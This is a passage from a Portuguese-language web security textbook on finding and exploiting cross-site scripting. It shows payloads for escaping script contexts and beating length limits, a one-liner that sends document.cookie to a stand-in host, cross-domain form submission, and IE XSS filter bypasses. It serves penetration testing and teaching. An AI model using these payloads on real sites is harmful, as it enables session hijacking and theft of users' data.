Isso resulta na seguinte resposta, na qual o script injetado é executado. Observe o uso do caractere de comentário `//` do JavaScript para comentar o

restante da linha, evitando assim um erro de sintaxe causado pelo delimitador de cadeia de caracteres do próprio aplicativo:

```
var a = 'foo\\'; alert(1);//';
```

Aqui, se você descobrir que o caractere de barra invertida também está sendo escapado adequadamente, mas os colchetes angulares são retornados sem serem higienizados, você pode usar o seguinte ataque:

```
</script><script>alert(1)</script>
```

Isso efetivamente abandona o script original do aplicativo e injeta um novo script imediatamente após ele. O ataque funciona porque a análise das tags HTML pelos navegadores tem precedência sobre a análise do JavaScript incorporado:

```
<script>var a = '</script><script>alert(1)</script>
```

Embora o script original agora contenha um erro de sintaxe, isso não importa, pois o navegador prossegue e executa o script injetado independentemente do erro no script original.

EXPERIMENTE!

http://mdsec.net/search/48/ http://mdsec.net/search/52/

DICA Se você puder injetar em um script, mas não puder usar aspas porque elas estão sendo escapadas, poderá usar a técnica **`String.fromCharCode`** para construir cadeias de caracteres sem a necessidade de delimitadores, conforme descrito anteriormente.

Nos casos em que o script que você está injetando reside em um manipulador de eventos, em vez de um bloco de script completo, você poderá codificar suas aspas em HTML para contornar a sanitização do aplicativo e sair da cadeia de caracteres que você controla. Por exemplo, se você controlar o valor `foo` em:

```
<a href="#" onclick="var a = 'foo'; ...
```

e o aplicativo estiver escapando corretamente das aspas e das barras invertidas em sua entrada, o ataque a seguir poderá ser bem-sucedido:

```
foo&apos;; alert(1);//
```

Isso resulta na seguinte resposta e, como alguns navegadores executam uma decodificação de HTML antes que o manipulador de eventos seja executado como JavaScript, o ataque é bem-sucedido:

```
<a href="#" onclick="var a = 'foo&apos;; alert(1);//'; ...
```

O fato de os manipuladores de eventos serem decodificados em HTML antes de serem executados como JavaScript representa uma importante ressalva à recomendação padrão de codificação HTML da entrada do usuário para evitar ataques XSS. Nesse contexto sintático, a codificação HTML não é necessariamente um obstáculo para um ataque. O próprio invasor pode até mesmo usá-la para contornar outras defesas.

Superando os limites de comprimento

Quando o aplicativo trunca sua entrada em um comprimento máximo fixo, você tem três abordagens possíveis para criar um exploit funcional.

O primeiro método, bastante óbvio, é tentar encurtar a carga útil do ataque usando APIs JavaScript com o menor comprimento possível e removendo caracteres que normalmente são incluídos, mas são estritamente desnecessários. Por exemplo, se você estiver injetando em um script existente, o seguinte comando de 28 bytes transmite os cookies do usuário para o servidor com o nome de host `a`:

```
open("//a/"+document.cookie)
```

Como alternativa, se você estiver injetando diretamente no HTML, a seguinte tag de 30 bytes carrega e executa um script do servidor com o nome de host `a`:

```
<script src=http://a></script>
```

Na Internet, esses exemplos obviamente precisariam ser expandidos para conter um nome de domínio ou endereço IP válido. No entanto, em uma rede corporativa interna, pode ser possível usar uma máquina com o nome WINS `a` para hospedar o servidor destinatário.

DICA Você pode usar o empacotador de JavaScript de Dean Edwards para reduzir um determinado script o máximo possível, eliminando espaços em branco desnecessários. Esse utilitário também converte os scripts em uma única linha para facilitar a inserção em um parâmetro de solicitação:

`http://dean.edwards.name/packer/`

A segunda técnica, potencialmente mais poderosa, para superar os limites de comprimento é distribuir uma carga útil de ataque em vários locais diferentes em que a entrada controlável pelo usuário é inserida na mesma página retornada. Por exemplo, considere o seguinte URL:

```
https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal
```

Ele retorna uma página que contém o seguinte:

```
<input type="hidden" name="page_id" value="244">
<input type="hidden" name="seed" value="129402931">
<input type="hidden" name="mode" value="normal">
```

Suponha que cada campo tenha restrições de comprimento, de modo que nenhuma string de ataque viável possa ser inserida em qualquer um deles. No entanto, você ainda pode fornecer um exploit funcional usando o URL a seguir para estender um script pelos três locais que você controla:

```
https://myapp.com/account.php?page_id="><script>/*&seed=*/alert(document
.cookie);/*&mode=*/</script>
```

Quando os valores dos parâmetros desse URL são incorporados à página, o resultado é o seguinte:

```
<input type="hidden" name="page_id" value=""><script>/*">
<input type="hidden" name="seed" value="*/alert(document.cookie);/*">
<input type="hidden" name="mode" value="*/</script>">
```

O HTML resultante é válido e é equivalente apenas às partes em negrito. Os trechos de código-fonte entre eles se tornaram efetivamente comentários em JavaScript (cercados pelos marcadores `/*` e `*/`), portanto, o navegador os ignora. Portanto, seu script é executado como se tivesse sido inserido inteiro em um local da página.

DICA A técnica de distribuir uma carga útil de ataque em vários campos pode, às vezes, ser usada para superar outros tipos de filtros defensivos. É bastante comum encontrar validação e sanitização de dados diferentes sendo implementadas em campos diferentes em uma única página de um aplicativo. No exemplo anterior, suponha que os parâmetros **`page_id`** e **`mode`** estejam sujeitos a um comprimento máximo de 12 caracteres. Como esses campos são muito curtos, os desenvolvedores do aplicativo não se preocuparam em implementar nenhum filtro XSS. O parâmetro **`seed`**, por outro lado, não tem restrições de comprimento, portanto, foram implementados filtros rigorosos para evitar a injeção dos caracteres **"** **<** ou >. Nesse cenário, apesar dos esforços dos desenvolvedores, ainda é possível inserir um script arbitrariamente longo no parâmetro **`seed`** sem empregar nenhum dos caracteres bloqueados, porque o contexto JavaScript pode ser criado por dados injetados nos campos ao redor.

Uma terceira técnica para superar os limites de comprimento, que pode ser altamente eficaz em algumas situações, é "converter" uma falha de XSS refletida em uma vulnerabilidade baseada em DOM. Por exemplo, na vulnerabilidade XSS refletida original, se o aplicativo impuser uma restrição de comprimento no parâmetro `de mensagem` que é copiado na página retornada, você poderá injetar o seguinte script de 45 bytes, que avalia a string de fragmento no URL atual:

```
<script>eval(location.hash.slice(1))</script>
```

Ao injetar esse script no parâmetro que é vulnerável ao XSS refletido, você pode induzir efetivamente uma vulnerabilidade de XSS baseada em DOM na página resultante

e, assim, executar um segundo script localizado dentro da string de fragmento, que está fora do controle dos filtros do aplicativo e pode ser arbitrariamente longo. Por exemplo:

```
http://mdsec.net/error/5/Error.ashx?message=<script>eval(location.hash
.substr(1))</script>#alert('script longo aqui .........')
```

Aqui está uma versão ainda mais curta que funciona na maioria das situações:

```
http://mdsec.net/error/5/Error.ashx?message=<script>eval(unescape(location))
</script>#%0Aalert('script longo aqui.........')
```

Nessa versão, todo o URL é decodificado pelo URL e, em seguida, passado para o comando `eval`. O URL inteiro é executado como JavaScript válido porque o prefixo do protocolo `http:` serve como rótulo de código, o `//` após o prefixo do protocolo serve como comentário de linha única e o `%0A` é decodificado pelo URL para se tornar uma nova linha, sinalizando o fim do comentário.

Fornecimento de explorações XSS funcionais

Normalmente, quando você está trabalhando em uma possível vulnerabilidade de XSS para entender e contornar os filtros do aplicativo, você está trabalhando fora do navegador, usando uma ferramenta como o Burp Repeater para enviar a mesma solicitação repetidamente, modificando a solicitação em pequenas formas a cada vez e testando o efeito na resposta. Em algumas situações, depois de criar um ataque de prova de conceito dessa forma, talvez ainda haja trabalho a ser feito para realizar um ataque prático contra outros usuários de aplicativos. Por exemplo, o ponto de entrada para o XSS pode não ser trivial de controlar nas solicitações de outros usuários, como um cookie ou o cabeçalho `Referer`. Ou os usuários-alvo podem estar usando um navegador com proteção integrada contra ataques XSS refletidos. Esta seção examina vários desafios que podem surgir ao fornecer exploits de XSS funcionais na prática e como eles podem ser contornados.

Escalonamento de um ataque a outras páginas de aplicativos

Suponha que a vulnerabilidade que você identificou esteja em uma área desinteressante do aplicativo, afetando apenas usuários não autenticados, e que uma área diferente contenha os dados e a funcionalidade realmente confidenciais que você deseja comprometer.

Nessa situação, normalmente é bastante fácil criar uma carga útil de ataque que possa ser entregue por meio do bug de XSS em uma área do aplicativo e que persista no navegador do usuário para comprometer a vítima em qualquer lugar que ela vá no mesmo domínio.

Um método simples de fazer isso é o exploit criar um iframe que cubra toda a janela do navegador e recarregar a página atual dentro do iframe. À medida que o usuário navega pelo site e faz login na área autenticada, o script injetado continua sendo executado na janela de nível superior. Ele pode se conectar a todos os

eventos de navegação e envios de formulários no iframe filho, monitorar todo o conteúdo de resposta que aparece no iframe e, é claro, sequestrar a sessão do usuário n o momento certo. Em navegadores compatíveis com HTML5, o script pode até mesmo definir o URL apropriado na barra de localização à medida que o usuário se move entre as páginas, usando a função `window.history.pushState()`.

Para ver um exemplo desse tipo de exploração, consulte este URL:

```
http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html
```

MITO COMUM

"Não estamos preocupados com nenhum bug de XSS na parte não autenticada do nosso site. Eles não podem ser usados para sequestrar sessões."

Esse pensamento é errôneo por dois motivos. Primeiro, um bug de XSS na parte não autenticada de um aplicativo normalmente pode ser usado para comprometer diretamente as sessões de usuários autenticados. Portanto, uma falha de XSS afetada por um usuário não autenticado normalmente é mais grave do que uma autenticada, porque o escopo das possíveis vítimas é mais amplo. Em segundo lugar, mesmo que um usuário ainda não esteja autenticado, um invasor pode implantar alguma funcionalidade de cavalo de Troia que persista no navegador da vítima em várias solicitações, aguardando até que a vítima faça login e, em seguida, sequestrando a sessão resultante. É possível até mesmo capturar a senha de um usuário usando um keylogger escrito em JavaScript, conforme descrito no Capítulo 13.

Modificação do método de solicitação

Suponha que a vulnerabilidade XSS que você identificou use uma solicitação `POST`, mas o método mais conveniente para realizar um ataque requer o método `GET`, por exemplo, enviando uma publicação no fórum que contenha uma tag `IMG` direcionada ao URL vulnerável.

Nesses casos, sempre vale a pena verificar se o aplicativo trata a solicitação da mesma forma se ela for convertida em uma solicitação `GET`. Muitos aplicativos toleram solicitações em ambos os formatos.

No Burp Suite, você pode usar o comando "change request method" (alterar método de solicitação) no menu de contexto para alternar qualquer solicitação entre os métodos `GET` e `POST`.

MITO COMUM

"Esse bug de XSS não pode ser explorado. Não consigo fazer com que meu ataque funcione como um **GET** solicitação".

Se uma falha XSS detectada só puder ser explorada usando o método **POST**, o aplicativo ainda estará vulnerável a vários mecanismos de entrega de ataques, incluindo aqueles que empregam um site malicioso de terceiros.

Em algumas situações, a técnica oposta pode ser útil. Converter um ataque que usa o método `GET` em um que usa o método `POST` pode permitir que você contorne determinados filtros. Muitos aplicativos executam alguma filtragem genérica de solicitações em todo o aplicativo para cadeias de caracteres de ataque conhecidas. Se um aplicativo espera receber solicitações usando o método `GET`, ele pode executar essa filtragem somente na string de consulta do URL. Ao converter uma solicitação para usar o método `POST`, você poderá contornar esse filtro.

Exploração de XSS por meio de cookies

Alguns aplicativos contêm vulnerabilidades XSS refletidas para as quais o ponto de entrada para o ataque está em um cookie de solicitação. Nessa situação, você pode usar várias técnicas para explorar a vulnerabilidade:

- Assim como na modificação do método de solicitação, o aplicativo pode permitir que você use um parâmetro de URL ou corpo com o mesmo nome do cookie para acionar a vulnerabilidade.
- Se o aplicativo contiver qualquer funcionalidade que permita que o valor do cookie seja definido diretamente (por exemplo, uma página de preferências que define cookies com base nos valores de parâmetros enviados), você poderá criar um ataque de falsificação de solicitação entre sites que defina o cookie necessário no navegador da vítima. A exploração da vulnerabilidade exigiria que a vítima fosse induzida a fazer duas solicitações: definir o cookie necessário contendo uma carga útil de XSS e solicitar a funcionalidade em que o valor do cookie é processado de forma insegura.
- Historicamente, existem várias vulnerabilidades em tecnologias de extensão de navegador, como o Flash, que permitem que solicitações entre domínios sejam emitidas com cabeçalhos HTTP arbitrários. Atualmente, pelo menos uma dessas vulnerabilidades é amplamente conhecida, mas ainda não foi corrigida. Você poderia aproveitar uma dessas vulnerabilidades em plug-ins de navegador para fazer solicitações entre domínios contendo um cabeçalho de cookie arbitrário projetado para acionar a vulnerabilidade.
- Se nenhum dos métodos anteriores for bem-sucedido, você poderá aproveitar qualquer outro bug de XSS refletido no mesmo domínio (ou em um domínio relacionado) para definir um cookie persistente com o valor exigido, fornecendo assim um comprometimento permanente do usuário vítima.

Exploração de XSS no cabeçalho de referência

Alguns aplicativos contêm vulnerabilidades de XSS refletidas que só podem ser acionadas por meio do cabeçalho `Referer`. Normalmente, essas vulnerabilidades são bastante fáceis de explorar usando um servidor da Web controlado pelo invasor. A vítima é induzida a solicitar um URL no servidor do invasor que contém uma carga útil XSS adequada para o aplicativo vulnerável. O servidor do invasor retorna uma resposta que causa uma solicitação ao URL vulnerável, e a carga útil do invasor é incluída no cabeçalho `Referer` que é enviado com essa solicitação.

Em algumas situações, a vulnerabilidade XSS é acionada somente se o cabeçalho `Referer` contiver um URL no mesmo domínio que o aplicativo vulnerável. Nesse caso, você poderá aproveitar qualquer função de redirecionador no site do aplicativo para realizar o ataque. Para fazer isso, você precisa construir um URL para a função redirecionadora que contenha uma exploração XSS válida e cause um redirecionamento para o URL vulnerável. O sucesso desse ataque depende do método de redirecionamento usado pela função e do fato de os navegadores atuais atualizarem o cabeçalho `Referer` ao seguirem redirecionamentos desse tipo.

Exploração de XSS em conteúdo de solicitações e respostas fora do padrão

Os aplicativos complexos de hoje empregam cada vez mais solicitações Ajax que não contêm parâmetros de solicitação tradicionais. Em vez disso, as solicitações geralmente contêm dados em formatos como XML e JSON, ou empregam vários esquemas de serialização. Da mesma forma, as respostas a essas solicitações frequentemente contêm dados no mesmo ou em outro formato, em vez de HTML.

A funcionalidade do lado do servidor envolvida nessas solicitações e respostas geralmente apresenta comportamento semelhante ao XSS. As cargas úteis de solicitação que normalmente indicariam a presença de uma vulnerabilidade são retornadas sem modificações pelo aplicativo.

Nessa situação, ainda é possível que o comportamento possa ser explorado para realizar um ataque XSS. Para isso, você precisa enfrentar dois desafios distintos:

- Você precisa encontrar um meio de fazer com que o usuário vítima faça a solicitação necessária entre domínios.
- Você precisa encontrar uma maneira de manipular a resposta para que ela execute seu script quando consumida pelo navegador.

Nenhum desses desafios é trivial. Primeiro, as solicitações em questão normalmente são feitas a partir do JavaScript usando `XMLHttpRequest` (consulte o Capítulo 3). Por padrão, isso não pode ser usado para fazer solicitações entre domínios. Embora o `XMLHttpRequest` esteja sendo modificado no HTML5 para permitir que os sites especifiquem outros domínios que possam interagir com eles, se você encontrar um alvo que permita a interação de terceiros, provavelmente haverá maneiras mais simples de comprometê-lo (consulte o Capítulo 13).

Em segundo lugar, em qualquer ataque, a resposta retornada pelo aplicativo seria resumida diretamente pelo navegador da vítima, não pelo script personalizado que a processa em seu contexto original. A resposta conterá dados em qualquer formato não HTML que esteja sendo usado, geralmente com o cabeçalho `Content-Type` correspondente. Nessa situação, o navegador processa a resposta da maneira normal para esse tipo de dados (se reconhecido), e os métodos normais de introdução de código de script via HTML podem ser irrelevantes.

Embora não seja trivial, em algumas situações, esses dois desafios podem ser vencidos, permitindo que o comportamento semelhante ao XSS seja explorado para realizar um ataque funcional. Examinaremos como isso pode ser feito usando o formato de dados XML como exemplo.

Envio de solicitações XML entre domínios

É possível enviar dados quase arbitrários entre domínios dentro do corpo da solicitação HTTP usando um formulário HTML com o atributo `enctype` definido como `text/plain`. Isso instrui o navegador a tratar os parâmetros do formulário da seguinte maneira:

- Envie cada parâmetro em uma linha separada dentro da solicitação.
- Use um sinal de igual para separar o nome e o valor de cada parâmetro (como de costume).
- Não execute nenhuma codificação de URL de nomes ou valores de parâmetros.

Embora alguns navegadores não respeitem essa especificação, ela é devidamente respeitada pelas versões atuais do Internet Explorer, Firefox e Opera.

O comportamento descrito significa que você pode enviar dados arbitrários no corpo da mensagem, desde que haja pelo menos um sinal de igual em qualquer parte dos dados. Para fazer isso, você divide os dados em dois blocos, antes e depois do sinal de igual. Você coloca o primeiro bloco em um nome de parâmetro e o segundo bloco em um valor de parâmetro. Quando o navegador constrói a solicitação, ele envia os dois blocos separados por um sinal de igual, construindo assim exatamente os dados necessários.

Como o XML sempre contém pelo menos um sinal de igual, no atributo `version` da tag XML de abertura, podemos usar essa técnica para enviar dados XML arbitrários entre domínios no corpo da mensagem. Por exemplo, se o XML necessário fosse o seguinte:

```
<?xml version="1.0"?><data><param>foo</param></data>
```

poderíamos enviar isso usando o seguinte formulário:

```
<form enctype="text/plain" action="http://wahh-app.com/ vuln.php"
method="POST">
<input type="hidden" name='<?xml version'
value='"1.0"?><data><param>foo</param></data>'>
 </form><script>document.forms[0].submit();</script>
```

Para incluir caracteres de ataque comuns no valor do parâmetro `param`, como colchetes angulares de tag, eles precisariam ser codificados em HTML na solicitação XML. Portanto, eles precisariam ser *duplamente* codificados em HTML no formulário HTML que gera essa solicitação.

DICA Você pode usar essa técnica para enviar solicitações entre domínios que contenham praticamente qualquer tipo de conteúdo, como dados codificados em JSON e objetos binários serializados, desde que possa incorporar o caractere de igualdade em algum lugar da solicitação. Isso normalmente é possível modificando um campo de texto de forma livre dentro da solicitação que possa conter um caractere de igualdade. Por exemplo, nos dados JSON a seguir, o campo de comentário é usado para introduzir o caractere de igualdade necessário:

```
{ "name": "John", "email": "gomad@diet.com", "comment": "=" }
```

A única ressalva significativa ao uso dessa técnica é que a solicitação resultante conterá o seguinte cabeçalho:

```
Content-Type: text/plain
```

A solicitação original normalmente conteria um cabeçalho `Content-Type` diferente, dependendo exatamente de como foi gerada. Se o aplicativo tolerar o cabeçalho `Content-Type` fornecido e processar o corpo da mensagem de forma normal, a técnica poderá ser usada com sucesso ao tentar desenvolver uma exploração XSS funcional. Se o aplicativo não conseguir processar a solicitação normalmente, por causa do cabeçalho `Content-Type` modificado, talvez não haja como enviar uma solicitação adequada entre domínios para acionar o comportamento semelhante ao XSS.

DICA Se você identificar um comportamento do tipo XSS em uma solicitação que contenha conteúdo não padrão, a primeira coisa que deve fazer é verificar rapidamente se o comportamento permanece quando você altera o cabeçalho **`Content-Type`** para **`text/plain`**. Se isso não acontecer, talvez não valha a pena investir mais esforços na tentativa de desenvolver uma exploração XSS funcional.

Execução de JavaScript a partir de respostas XML

O segundo desafio a ser superado ao tentar explorar o comportamento semelhante ao XSS em conteúdo não padrão é encontrar uma maneira de manipular a resposta para que ela execute seu script quando consumida diretamente pelo navegador. Se a resposta contiver um cabeçalho `Content-Type` impreciso, ou nenhum, ou se sua entrada estiver sendo refletida logo no início do corpo da resposta, essa tarefa poderá ser simples.

Normalmente, porém, a resposta inclui um cabeçalho `Content-Type` que descreve com precisão o tipo de dados que o aplicativo retorna. Além disso, sua entrada normalmente é refletida em parte da resposta, e a maior parte da resposta antes e depois desse ponto conterá dados que estão em conformidade com as especificações relevantes para o tipo de conteúdo declarado. Navegadores diferentes adotam abordagens diferentes para analisar o conteúdo. Alguns simplesmente confiam no cabeçalho `Content-Type`, enquanto outros inspecionam o próprio conteúdo e estão dispostos a substituir o tipo declarado se o tipo real parecer diferente. No entanto, nessa situação, qualquer uma das abordagens torna altamente improvável que o navegador processe a resposta como HTML. Se for possível construir uma resposta que consiga executar um script, isso normalmente envolve a exploração de algum recurso sintático específico do tipo de conteúdo que está sendo injetado. Felizmente, no caso do XML, isso pode ser feito usando a marcação XML para definir um novo namespace que é mapeado para XHTML, fazendo com que o navegador analise os usos desse namespace como HTML. Por exemplo, quando o Firefox processa a resposta a seguir, o script injetado é executado:

```
HTTP/1.1 200 Ok
Content-Type: text/xml
```

```
Content-Length: 1098

<xml>
<data>
...
<a xmlns:a='http://www.w3.org/1999/xhtml'>
<a:body onload='alert(1)'/></a>
...
</data>
</xml>
```

Conforme mencionado, essa exploração é bem-sucedida quando a resposta é consumida diretamente pelo navegador, e não pelo componente original do aplicativo que normalmente processaria a resposta.

Ataque aos filtros XSS do navegador

Um obstáculo para a exploração prática de praticamente qualquer vulnerabilidade de XSS refletida surge de vários recursos do navegador que tentam proteger os usuários exatamente contra esses ataques. As versões atuais do navegador Internet Explorer incluem um filtro XSS por padrão, e recursos semelhantes estão disponíveis como plug-ins para vários outros navegadores. Todos esses filtros funcionam de forma semelhante: monitoram passivamente solicitações e respostas, usam várias regras para identificar possíveis ataques XSS em andamento e, quando um possível ataque é identificado, modificam partes da resposta para neutralizar o possível ataque.

Agora, como discutimos, as condições XSS devem ser consideradas vulnerabilidades se puderem ser exploradas por meio de qualquer navegador de uso generalizado, e a presença de filtros XSS em alguns navegadores não significa que as vulnerabilidades XSS não precisem ser corrigidas. No entanto, em algumas situações práticas, um invasor pode precisar explorar especificamente uma vulnerabilidade por meio de um navegador que implemente um filtro XSS. Além disso, as maneiras pelas quais os filtros XSS podem ser contornados são interessantes por si só. Em alguns casos, eles podem ser aproveitados para facilitar a realização de outros ataques que, de outra forma, seriam impossíveis.

Esta seção examina o filtro XSS do Internet Explorer. Atualmente, ele é o filtro mais maduro e amplamente adotado disponível.

A operação principal do filtro XSS do IE é a seguinte:

- Em solicitações entre domínios, cada valor de parâmetro é inspecionado para identificar possíveis tentativas de injeção de JavaScript. Isso é feito verificando o valor em uma lista negra baseada em regex de cadeias de caracteres de ataque comuns.
- Se um valor de parâmetro potencialmente malicioso for encontrado, a resposta será verificada para ver se contém esse mesmo valor.
- Se o valor aparecer na resposta, ela será higienizada para impedir a execução de qualquer script. Por exemplo, `<script>` é modificado para se tornar
  `<sc#ipt>`.

A primeira coisa a dizer sobre o filtro XSS do IE é que, em geral, ele é altamente eficaz no bloqueio da exploração padrão de bugs XSS, elevando consideravelmente o nível de qualquer invasor que esteja tentando realizar esses ataques. Dito isso, o filtro pode ser contornado de algumas maneiras importantes. Você também pode explorar a forma como o filtro opera para realizar ataques que, de outra forma, seriam impossíveis.

Em primeiro lugar, algumas formas de contornar o filtro decorrem dos principais recursos de seu design:

- Somente os valores dos parâmetros são considerados, não os nomes dos parâmetros. Alguns aplicativos são vulneráveis a ataques triviais por meio de nomes de parâmetros, como, por exemplo, se todo o URL solicitado ou a string de consulta for ecoada na resposta. Esses ataques não são evitados pelo filtro.
- Como cada valor de parâmetro é considerado separadamente, se mais de um parâmetro for refletido na mesma resposta, pode ser possível estender um ataque entre os dois parâmetros, como foi descrito como uma técnica para superar os limites de comprimento. Se a carga útil de XSS puder ser dividida em partes, nenhuma das quais corresponda individualmente à lista negra de expressões bloqueadas, o filtro não bloqueará o ataque.
- Apenas solicitações entre domínios são incluídas, por motivos de desempenho. Portanto, se um invasor puder fazer com que um usuário faça uma solicitação "no local" para um URL XSS, o ataque não será bloqueado. Em geral, isso pode ser feito se o aplicativo contiver qualquer comportamento que permita a um invasor injetar links arbitrários em uma página visualizada por outro usuário (mesmo que isso seja um ataque refletido; o filtro XSS procura bloquear apenas scripts injetados, não links injetados). Nesse cenário, o ataque requer duas etapas: a injeção do link malicioso na página de um usuário e o clique do usuário no link e o recebimento da carga útil do XSS.

Em segundo lugar, alguns detalhes de implementação relacionados ao comportamento do navegador e do servidor permitem que o filtro XSS seja contornado em alguns casos:

- Como você viu, os navegadores toleram vários tipos de caracteres e sintaxe inesperados ao processar HTML, como a tolerância do próprio IE em relação a bytes NULL. As peculiaridades do comportamento do IE podem, às vezes, ser aproveitadas para contornar seu próprio filtro XSS.
- Conforme discutido no Capítulo 10, os servidores de aplicativos se comportam de várias maneiras quando uma solicitação contém vários parâmetros de solicitação com o mesmo nome. Em alguns casos, eles concatenam todos os valores recebidos. Por exemplo, no ASP.NET, se uma string de consulta contiver:

  ```
  p1=foo&p1=bar
  ```

  o valor do parâmetro `p1` que é passado para o aplicativo é:

  ```
  p1=foo,bar
  ```

  Em contrapartida, o filtro XSS do IE ainda processa cada parâmetro

separadamente, mesmo que eles compartilhem o mesmo nome. Essa diferença de comportamento pode facilitar

para distribuir uma carga útil de XSS em vários parâmetros de solicitação "diferentes" com o mesmo nome, contornando a lista negra com cada valor separado, todos os quais o servidor recombina.

EXPERIMENTE!

Atualmente, a seguinte exploração de XSS consegue contornar o filtro XSS do IE:

```
http://mdsec.net/error/5/Error.ashx?message=<scr%00ipt%20 &message=>
alert('xss')</script>
```

Terceiro, a maneira como o filtro higieniza o código de script nas respostas dos aplicativos pode ser aproveitada para realizar ataques que, de outra forma, seriam impossíveis. O principal motivo para isso é que o filtro opera de forma passiva, procurando apenas correlações entre entradas e saídas semelhantes a scripts. Ele não pode sondar interativamente o aplicativo para confirmar se uma determinada parte da entrada realmente causa uma determinada parte da saída. Como resultado, um invasor pode realmente aproveitar o filtro para neutralizar seletivamente o código de script do próprio aplicativo que aparece nas respostas. Se o invasor incluir parte de um script existente no valor de um parâmetro de solicitação, o filtro XSS do IE verá que o mesmo código de script aparece na solicitação e na resposta e modificará o script na resposta para impedir sua execução. Foram identificadas algumas situações em que a neutralização de um script existente altera o contexto sintático de uma parte subsequente da resposta que contém um reflexo da entrada do usuário. Essa alteração no contexto pode significar que a filtragem do próprio aplicativo da entrada refletida não é mais suficiente. Portanto, o reflexo pode ser usado para realizar um ataque XSS de uma forma que era impossível sem as alterações feitas pelo filtro XSS do IE. No entanto, as situações em que isso ocorreu geralmente envolveram casos extremos com recursos incomuns ou revelaram defeitos em versões anteriores do filtro XSS do IE que já foram corrigidos. De forma mais significativa, a capacidade de um invasor de neutralizar seletivamente o código de script do próprio aplicativo pode ser aproveitada para realizar ataques totalmente diferentes, interferindo nos mecanismos de controle relevantes para a segurança de um aplicativo. Um exemplo genérico disso está relacionado à remoção do código de framebusting defensivo (consulte o Capítulo 13), mas vários outros exemplos podem surgir em conexão com o código específico do aplicativo que executa as principais tarefas de segurança defensiva no lado do cliente.

Encontrando e explorando vulnerabilidades de XSS armazenadas

O processo de identificação de vulnerabilidades de XSS armazenado se sobrepõe substancialmente ao descrito para XSS refletido. Ele inclui o envio de uma cadeia de caracteres exclusiva em cada ponto de entrada do aplicativo. No entanto, você deve ter em mente algumas diferenças importantes para maximizar o número de vulnerabilidades identificadas.

ETAPAS DO HACK

1. Depois de enviar uma cadeia de caracteres exclusiva para todos os locais possíveis dentro do aplicativo, você deve revisar todo o conteúdo e a funcionalidade do aplicativo mais uma vez para identificar todas as instâncias em que essa cadeia de caracteres é exibida de volta ao navegador. Os dados controláveis pelo usuário inseridos em um local (por exemplo, um campo de nome em uma página de informações pessoais) podem ser exibidos em vários locais do aplicativo. (Por exemplo, poderiam estar na página inicial do usuário, em uma lista de usuários registrados, em itens do fluxo de trabalho, como tarefas, em listas de contatos de outros usuários, em mensagens ou perguntas publicadas pelo usuário ou em logs de aplicativos). Cada aparência da string pode estar sujeita a diferentes filtros de proteção e, portanto, precisa ser investigada separadamente.
2. Se possível, todas as áreas do aplicativo acessíveis aos administradores devem ser analisadas para identificar a aparência de quaisquer dados controláveis por usuários não administrativos. Por exemplo, o aplicativo pode permitir que os administradores analisem os arquivos de registro no navegador. É extremamente comum que esse tipo de funcionalidade contenha vulnerabilidades XSS que um invasor pode explorar gerando entradas de registro contendo HTML malicioso.
3. Ao enviar uma string de teste para cada local dentro do aplicativo, às vezes não é suficiente simplesmente publicá-la como parâmetro em cada página. Muitas funções do aplicativo precisam passar por vários estágios antes que os dados enviados sejam de fato armazenados. Por exemplo, ações como registrar um novo usuário, fazer um pedido de compras e realizar uma transferência de fundos geralmente envolvem o envio de várias solicitações diferentes em uma sequência definida. Para não perder nenhuma vulnerabilidade, é necessário ver cada caso de teste até o fim.
4. Ao sondar o XSS refletido, você está interessado em todos os aspectos da solicitação da vítima que você pode controlar. Isso inclui todos os parâmetros da solicitação, todos os cabeçalhos HTTP e assim por diante. No caso de XSS armazenado, você também deve investigar todos os canais fora de banda por meio dos quais o aplicativo recebe e processa entradas que você pode controlar. Esses canais são vetores de ataque adequados para a introdução de ataques de XSS armazenado. Analise os resultados dos exercícios de mapeamento de aplicativos (consulte o Capítulo 4) para identificar todas as áreas possíveis de superfície de ataque.
5. Se o aplicativo permitir o upload e o download de arquivos, sempre verifique se há ataques de XSS armazenados nessa funcionalidade. Técnicas detalhadas para testar esse tipo de funcionalidade são discutidas mais adiante neste capítulo.
6. Pense de forma criativa em qualquer outro meio possível pelo qual os dados que você controla possam ser armazenados pelo aplicativo e exibidos a outros usuários. Por exemplo, se a função de pesquisa do aplicativo mostrar uma lista de itens de pesquisa populares, você poderá introduzir uma carga útil de XSS armazenada pesquisando-a várias vezes, mesmo que a própria funcionalidade de pesquisa primária trate sua entrada com segurança.

Depois de identificar todas as instâncias em que os dados controláveis pelo usuário são armazenados pelo aplicativo e posteriormente exibidos de volta ao navegador, você deve seguir o mesmo processo descrito anteriormente para investigar possíveis vulnerabilidades de XSS refletidas. Ou seja, determine qual entrada precisa ser enviada para incorporar JavaScript válido no HTML circundante e, em seguida, tente contornar os filtros que interferem no processamento da carga útil do ataque.

DICA Ao sondar o XSS refletido, é fácil identificar quais parâmetros de solicitação são potencialmente vulneráveis. Você pode testar um parâmetro de cada vez e analisar cada resposta para verificar se há alguma aparência de sua entrada. Com o XSS armazenado, no entanto, isso pode ser menos simples. Se você enviar a mesma cadeia de caracteres de teste como cada parâmetro para cada página, poderá descobrir que essa cadeia reaparece em vários locais do aplicativo. Pode não ficar claro, pelo contexto, qual parâmetro é exatamente responsável pelo aparecimento. Para evitar esse problema, você pode enviar uma cadeia de caracteres de teste diferente como cada parâmetro ao investigar as falhas de XSS armazenadas. Por exemplo, você pode concatenar sua string exclusiva com o nome do campo ao qual ela está sendo enviada.

Algumas técnicas específicas são aplicáveis ao teste de vulnerabilidades XSS armazenadas em tipos específicos de funcionalidade. As seções a seguir examinam algumas delas em mais detalhes.

Teste de XSS em aplicativos de correio eletrônico da Web

Como já discutimos, os aplicativos de webmail correm o risco inerente de conter vulnerabilidades de XSS armazenadas, pois incluem conteúdo HTML recebido diretamente de terceiros nas páginas do aplicativo que são exibidas aos usuários. Para testar essa funcionalidade, o ideal é que você obtenha sua própria conta de e-mail no aplicativo, envie várias explorações de XSS em mensagens de e-mail para si mesmo e visualize cada mensagem no aplicativo para determinar se alguma das explorações foi bem-sucedida.

